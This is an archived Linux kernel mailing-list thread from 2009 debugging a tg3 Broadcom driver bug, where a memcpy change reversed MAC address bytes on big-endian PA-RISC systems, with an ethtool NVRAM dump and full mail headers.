You can follow similar logic to show that the lo copy is wrong too.

Perhaps the fix is just to put the tg3_nvram_read() back as well as the
original by loads?

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 14:32:11 -0700 (PDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <20090413.143211.214694858.davem@davemloft.net>
References: <1239636594.3278.31.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239658374 23826 80.91.229.12 (13 Apr 2009 21:32:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 21:32:54 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
	mcarlson@broadcom.com, mchan@broadcom.com
To: James.Bottomley@HansenPartnership.com
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 23:34:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtTn4-0006ov-Ob
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 23:34:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753043AbZDMVcV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 17:32:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752958AbZDMVcV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 17:32:21 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:59211
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1752463AbZDMVcU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 17:32:20 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id A2FA335C12A;
	Mon, 13 Apr 2009 14:32:11 -0700 (PDT)
In-Reply-To: <1239636594.3278.31.camel@mulgrave.int.hansenpartnership.com>
X-Mailer: Mew version 6.2.51 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1517 gmane.linux.network:125175
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1517>

From: James Bottomley <James.Bottomley@HansenPartnership.com>
Date: Mon, 13 Apr 2009 15:29:54 +0000

> We noticed on parisc that our broadcoms all swapped MAC addresses going
> from 2.6.29 to 2.6.30-rc1:
> 
> Apr 11 07:48:24 ion kernel: eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:30:6e:4b:15:59
> Apr 13 07:34:34 ion kernel: eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:00:59:15:4b:6e
> 
> The problem patch is:
> 
> commit 6d348f2c1e0bb1cf7a494b51fc921095ead3f6ae
> Author: Matt Carlson <mcarlson@broadcom.com>
> Date:   Wed Feb 25 14:25:52 2009 +0000
> 
>     tg3: Eliminate tg3_nvram_read_swab()
> 
> With the root cause being the use of memcpy to set the mac address:
> 
>    memcpy(&dev->dev_addr[0], ((char *)&hi) + 2, 2);
>    memcpy(&dev->dev_addr[2], (char *)&lo, sizeof(lo));
> 
> This might work on little endian machines, but it can't on big endian
> ones.  You have to use the original setting mechanism to be correct on
> all architectures.
> 
> The attached patch fixes parisc.
> 
> Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

I'm applying this, thanks a lot James!
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 21:42:31 +0000
Lines: 77
Approved: news@gmane.org
Message-ID: <1239658951.3278.104.camel@mulgrave.int.hansenpartnership.com>
References: <1239636594.3278.31.camel@mulgrave.int.hansenpartnership.com>
	 <20090413.143211.214694858.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239658970 25410 80.91.229.12 (13 Apr 2009 21:42:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 21:42:50 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
	mcarlson@broadcom.com, mchan@broadcom.com
To: David Miller <davem@davemloft.net>
Original-X-From: netdev-owner@vger.kernel.org Mon Apr 13 23:44:09 2009
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtTwi-00014L-Ac
	for linux-netdev-2@gmane.org; Mon, 13 Apr 2009 23:44:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751448AbZDMVmb (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Mon, 13 Apr 2009 17:42:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751431AbZDMVmb
	(ORCPT <rfc822;netdev-outgoing>); Mon, 13 Apr 2009 17:42:31 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40333 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750840AbZDMVma (ORCPT
	<rfc822;netdev@vger.kernel.org>); Mon, 13 Apr 2009 17:42:30 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DC1278EE1C1;
	Mon, 13 Apr 2009 14:42:29 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 4o+V1YNt47Mx; Mon, 13 Apr 2009 14:42:29 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3F4BE8EE023;
	Mon, 13 Apr 2009 14:42:29 -0700 (PDT)
In-Reply-To: <20090413.143211.214694858.davem@davemloft.net>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:125176 gmane.linux.ports.parisc:1518
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1518>

On Mon, 2009-04-13 at 14:32 -0700, David Miller wrote:
> From: James Bottomley <James.Bottomley@HansenPartnership.com>
> Date: Mon, 13 Apr 2009 15:29:54 +0000
> 
> > We noticed on parisc that our broadcoms all swapped MAC addresses going
> > from 2.6.29 to 2.6.30-rc1:
> > 
> > Apr 11 07:48:24 ion kernel: eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:30:6e:4b:15:59
> > Apr 13 07:34:34 ion kernel: eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:00:59:15:4b:6e
> > 
> > The problem patch is:
> > 
> > commit 6d348f2c1e0bb1cf7a494b51fc921095ead3f6ae
> > Author: Matt Carlson <mcarlson@broadcom.com>
> > Date:   Wed Feb 25 14:25:52 2009 +0000
> > 
> >     tg3: Eliminate tg3_nvram_read_swab()
> > 
> > With the root cause being the use of memcpy to set the mac address:
> > 
> >    memcpy(&dev->dev_addr[0], ((char *)&hi) + 2, 2);
> >    memcpy(&dev->dev_addr[2], (char *)&lo, sizeof(lo));
> > 
> > This might work on little endian machines, but it can't on big endian
> > ones.  You have to use the original setting mechanism to be correct on
> > all architectures.
> > 
> > The attached patch fixes parisc.
> > 
> > Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
> 
> I'm applying this, thanks a lot James!

Actually, hang on ... I fat fingered the list address first time around
and we've been replying on the wrong list.

Michael apparently has the code working for sparc and we're all a bit
stumped why it doesn't work on parisc since they should follow identical
code paths.

This is the latest state of play:

---
On Mon, 2009-04-13 at 11:37 -0700, Matt Carlson wrote:
> But that is exactly what the code is doing.  tg3_nvram_read_be32() will
> return the data in bytestream format.  A memcpy() should be all that is
> needed to transport the data to a different memory location.

But not the one you've done.  cpu_to_be32 is a nop pass through on our
architecture, so tg3_nvram_read_be32 is equivalent to tg3_nvram_read on
our architecture (i.e. identical to the code that was doing the read in
2.6.29).  However, the memcpy is the wrong way around for us.  If you
look at an example, the original code said

dev_addr[0] = hi >> 16;
dev_addr[1] = hi >> 24

So MSB-1 and MSB.  However, on a BE machine these are at offset one and
zero from the start of the word.  The replacement memcopy is:

memcpy(&dev->dev_addr[0], ((char *)&hi) + 2, 2)

i.e. offset 3 and 4, which actually copies LSB-1 and LSB into there.
You can follow similar logic to show that the lo copy is wrong too.

Perhaps the fix is just to put the tg3_nvram_read() back as well as the
original by loads?
---

James


--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 14:44:18 -0700 (PDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <20090413.144418.242388332.davem@davemloft.net>
References: <1239636594.3278.31.camel@mulgrave.int.hansenpartnership.com>
	<20090413.143211.214694858.davem@davemloft.net>
	<1239658951.3278.104.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239659077 25688 80.91.229.12 (13 Apr 2009 21:44:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 21:44:37 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
	mcarlson@broadcom.com, mchan@broadcom.com
To: James.Bottomley@HansenPartnership.com
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 23:45:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtTyU-0001Wc-SD
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 23:45:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752087AbZDMVo2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 17:44:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751985AbZDMVo2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 17:44:28 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:54478
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1751279AbZDMVo1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 17:44:27 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id B144C35C007;
	Mon, 13 Apr 2009 14:44:18 -0700 (PDT)
In-Reply-To: <1239658951.3278.104.camel@mulgrave.int.hansenpartnership.com>
X-Mailer: Mew version 6.2.51 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1519 gmane.linux.network:125177
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1519>

From: James Bottomley <James.Bottomley@HansenPartnership.com>
Date: Mon, 13 Apr 2009 21:42:31 +0000

> Actually, hang on ... I fat fingered the list address first time around
> and we've been replying on the wrong list.
> 
> Michael apparently has the code working for sparc and we're all a bit
> stumped why it doesn't work on parisc since they should follow identical
> code paths.
> 
> This is the latest state of play:

Too late, I already pushed out to my net-2.6 tree on kernel.org

You'll need to send me any fixups relative to this patch.

Thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Chan" <mchan@broadcom.com>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 15:17:39 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <1239661059.9237.4.camel@HP1>
References: <1239636594.3278.31.camel@mulgrave.int.hansenpartnership.com>
 <20090413.143211.214694858.davem@davemloft.net>
 <1239658951.3278.104.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239661428 31799 80.91.229.12 (13 Apr 2009 22:23:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 22:23:48 +0000 (UTC)
Cc: "David Miller" <davem@davemloft.net>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"Matthew Carlson" <mcarlson@broadcom.com>
To: "James Bottomley" <James.Bottomley@HansenPartnership.com>
Original-X-From: netdev-owner@vger.kernel.org Tue Apr 14 00:25:06 2009
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtUaQ-00040k-2Q
	for linux-netdev-2@gmane.org; Tue, 14 Apr 2009 00:25:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754189AbZDMWXb (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Mon, 13 Apr 2009 18:23:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754522AbZDMWX3
	(ORCPT <rfc822;netdev-outgoing>); Mon, 13 Apr 2009 18:23:29 -0400
Original-Received: from mms3.broadcom.com ([216.31.210.19]:4478 "EHLO MMS3.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754043AbZDMWX0 (ORCPT <rfc822;netdev@vger.kernel.org>);
	Mon, 13 Apr 2009 18:23:26 -0400
Original-Received: from [10.11.16.99] by MMS3.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Mon, 13 Apr 2009 15:23:17 -0700
X-Server-Uuid: B55A25B1-5D7D-41F8-BC53-C57E7AD3C201
Original-Received: by mail-irva-10.broadcom.com (Postfix, from userid 47) id
 E2B0A2C1; Mon, 13 Apr 2009 15:23:16 -0700 (PDT)
Original-Received: from mail-irva-8.broadcom.com (mail-irva-8 [10.11.18.52]) by
 mail-irva-10.broadcom.com (Postfix) with ESMTP id CCA752B0; Mon, 13 Apr
 2009 15:23:16 -0700 (PDT)
Original-Received: from mail-irva-13.broadcom.com (mail-irva-13.broadcom.com
 [10.11.16.103]) by mail-irva-8.broadcom.com (MOS 3.7.5a-GA) with ESMTP
 id HPL86421; Mon, 13 Apr 2009 15:23:12 -0700 (PDT)
Original-Received: from [10.12.136.129] (dhcp-10-12-136-129.broadcom.com
 [10.12.136.129]) by mail-irva-13.broadcom.com (Postfix) with ESMTP id
 AD41B74D04; Mon, 13 Apr 2009 15:23:12 -0700 (PDT)
In-Reply-To: <1239658951.3278.104.camel@mulgrave.int.hansenpartnership.com>
X-Mailer: Evolution 2.12.3 (2.12.3-8.el5)
X-WSS-ID: 65FD64DF5Y821195707-01-01
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:125197 gmane.linux.ports.parisc:1520
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1520>


On Mon, 2009-04-13 at 14:42 -0700, James Bottomley wrote:

> ---
> On Mon, 2009-04-13 at 11:37 -0700, Matt Carlson wrote:
> > But that is exactly what the code is doing.  tg3_nvram_read_be32() will
> > return the data in bytestream format.  A memcpy() should be all that is
> > needed to transport the data to a different memory location.
> 
> But not the one you've done.  cpu_to_be32 is a nop pass through on our
> architecture, so tg3_nvram_read_be32 is equivalent to tg3_nvram_read on
> our architecture (i.e. identical to the code that was doing the read in
> 2.6.29).  However, the memcpy is the wrong way around for us.  If you
> look at an example, the original code said

The old tg3_nvram_read() had a swab32() after the readl().  The new
tg3_nvram_read() no longer has the swab32().  There were too many layers
of swapping in the old code and that's why Matt wanted to clean it up.

James, can do dump out the nvram content on the parisc?

ethtool -e eth0 length 0x90

Thanks.

> 
> dev_addr[0] = hi >> 16;
> dev_addr[1] = hi >> 24
> 
> So MSB-1 and MSB.  However, on a BE machine these are at offset one and
> zero from the start of the word.  The replacement memcopy is:
> 
> memcpy(&dev->dev_addr[0], ((char *)&hi) + 2, 2)
> 
> i.e. offset 3 and 4, which actually copies LSB-1 and LSB into there.
> You can follow similar logic to show that the lo copy is wrong too.
> 
> Perhaps the fix is just to put the tg3_nvram_read() back as well as the
> original by loads?
> ---
> 
> James
> 
> 
> 


--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 22:32:14 +0000
Lines: 183
Approved: news@gmane.org
Message-ID: <1239661934.3278.113.camel@mulgrave.int.hansenpartnership.com>
References: <1239636594.3278.31.camel@mulgrave.int.hansenpartnership.com>
	 <20090413.143211.214694858.davem@davemloft.net>
	 <1239658951.3278.104.camel@mulgrave.int.hansenpartnership.com>
	 <1239661059.9237.4.camel@HP1>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239661946 670 80.91.229.12 (13 Apr 2009 22:32:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 22:32:26 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Matthew Carlson <mcarlson@broadcom.com>
To: Michael Chan <mchan@broadcom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 14 00:33:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtUij-0006V6-NT
	for glpp-linux-parisc@gmane.org; Tue, 14 Apr 2009 00:33:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750836AbZDMWcO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 18:32:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751327AbZDMWcO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 18:32:14 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:32842 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750836AbZDMWcN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 18:32:13 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 203868EE1C1;
	Mon, 13 Apr 2009 15:32:13 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Bso0J7G1mknT; Mon, 13 Apr 2009 15:32:13 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 77B808EE023;
	Mon, 13 Apr 2009 15:32:12 -0700 (PDT)
In-Reply-To: <1239661059.9237.4.camel@HP1>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1521 gmane.linux.network:125198
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1521>

On Mon, 2009-04-13 at 15:17 -0700, Michael Chan wrote:
> On Mon, 2009-04-13 at 14:42 -0700, James Bottomley wrote:
> 
> > ---
> > On Mon, 2009-04-13 at 11:37 -0700, Matt Carlson wrote:
> > > But that is exactly what the code is doing.  tg3_nvram_read_be32() will
> > > return the data in bytestream format.  A memcpy() should be all that is
> > > needed to transport the data to a different memory location.
> > 
> > But not the one you've done.  cpu_to_be32 is a nop pass through on our
> > architecture, so tg3_nvram_read_be32 is equivalent to tg3_nvram_read on
> > our architecture (i.e. identical to the code that was doing the read in
> > 2.6.29).  However, the memcpy is the wrong way around for us.  If you
> > look at an example, the original code said
> 
> The old tg3_nvram_read() had a swab32() after the readl().  The new
> tg3_nvram_read() no longer has the swab32().  There were too many layers
> of swapping in the old code and that's why Matt wanted to clean it up.
> 
> James, can do dump out the nvram content on the parisc?
> 
> ethtool -e eth0 length 0x90
> 
> Thanks.

Sure, ion's is

ion:~# ethtool -e eth0 length 0x90
Address         Data
----------      ----
0x00000000      0xaa
0x00000001      0x55
0x00000002      0x99
0x00000003      0x66
0x00000004      0x00
0x00000005      0x00
0x00000006      0x00
0x00000007      0x08
0x00000008      0x29
0x00000009      0x02
0x0000000a      0x00
0x0000000b      0x00
0x0000000c      0x00
0x0000000d      0x02
0x0000000e      0x00
0x0000000f      0x00
0x00000010      0xc5
0x00000011      0x3c
0x00000012      0x82
0x00000013      0x9b
0x00000014      0x00
0x00000015      0x00
0x00000016      0x00
0x00000017      0x00
0x00000018      0x00
0x00000019      0x00
0x0000001a      0x00
0x0000001b      0x00
0x0000001c      0x00
0x0000001d      0x00
0x0000001e      0x00
0x0000001f      0x00
0x00000020      0x00
0x00000021      0x00
0x00000022      0x00
0x00000023      0x00
0x00000024      0x00
0x00000025      0x00
0x00000026      0x00
0x00000027      0x00
0x00000028      0x00
0x00000029      0x00
0x0000002a      0x00
0x0000002b      0x00
0x0000002c      0x00
0x0000002d      0x00
0x0000002e      0x00
0x0000002f      0x00
0x00000030      0x00
0x00000031      0x00
0x00000032      0x00
0x00000033      0x00
0x00000034      0x00
0x00000035      0x00
0x00000036      0x00
0x00000037      0x00
0x00000038      0x00
0x00000039      0x00
0x0000003a      0x00
0x0000003b      0x00
0x0000003c      0x00
0x0000003d      0x00
0x0000003e      0x00
0x0000003f      0x00
0x00000040      0x00
0x00000041      0x00
0x00000042      0x00
0x00000043      0x00
0x00000044      0x00
0x00000045      0x00
0x00000046      0x00
0x00000047      0x00
0x00000048      0x00
0x00000049      0x00
0x0000004a      0x00
0x0000004b      0x00
0x0000004c      0x00
0x0000004d      0x00
0x0000004e      0x00
0x0000004f      0x00
0x00000050      0x00
0x00000051      0x00
0x00000052      0x00
0x00000053      0x00
0x00000054      0x00
0x00000055      0x00
0x00000056      0x00
0x00000057      0x00
0x00000058      0x00
0x00000059      0x00
0x0000005a      0x00
0x0000005b      0x00
0x0000005c      0x00
0x0000005d      0x00
0x0000005e      0x00
0x0000005f      0x00
0x00000060      0x00
0x00000061      0x00
0x00000062      0x00
0x00000063      0x00
0x00000064      0x00
0x00000065      0x00
0x00000066      0x00
0x00000067      0x00
0x00000068      0x00
0x00000069      0x00
0x0000006a      0x00
0x0000006b      0x00
0x0000006c      0x00
0x0000006d      0x00
0x0000006e      0x00
0x0000006f      0x00
0x00000070      0x00
0x00000071      0x00
0x00000072      0x00
0x00000073      0x00
0x00000074      0x8c
0x00000075      0x00
0x00000076      0x00
0x00000077      0x43
0x00000078      0x10
0x00000079      0x61
0x0000007a      0x20
0x0000007b      0x00
0x0000007c      0x30
0x0000007d      0x00
0x0000007e      0x00
0x0000007f      0x00
0x00000080      0x59
0x00000081      0x15
0x00000082      0x4b
0x00000083      0x6e
0x00000084      0x39
0x00000085      0x4d
0x00000086      0x43
0x00000087      0x42
0x00000088      0x30
0x00000089      0x30
0x0000008a      0x37
0x0000008b      0x35
0x0000008c      0x00
0x0000008d      0x00
0x0000008e      0x36
0x0000008f      0x41

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Carlson" <mcarlson@broadcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 18:17:10 -0700
Lines: 79
Approved: news@gmane.org
Message-ID: <20090414011710.GA11615@xw6200.broadcom.net>
References: <1239636110.3278.29.camel@mulgrave.int.hansenpartnership.com>
 <20090413180052.GB11076@xw6200.broadcom.net>
 <1239646516.3278.57.camel@mulgrave.int.hansenpartnership.com>
 <20090413183725.GC11109@xw6200.broadcom.net>
 <1239655698.3278.83.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239671855 20742 80.91.229.12 (14 Apr 2009 01:17:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 01:17:35 +0000 (UTC)
Cc: "Matthew Carlson" <mcarlson@broadcom.com>,
	"linux-netdev@vger.kernel.org" <linux-netdev@vger.kernel.org>,
	"Parisc List" <linux-parisc@vger.kernel.org>,
	"Michael Chan" <mchan@broadcom.com>
To: "James Bottomley" <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 14 03:18:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtXIa-0008Ac-QT
	for glpp-linux-parisc@gmane.org; Tue, 14 Apr 2009 03:18:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751676AbZDNBRZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 21:17:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751531AbZDNBRZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 21:17:25 -0400
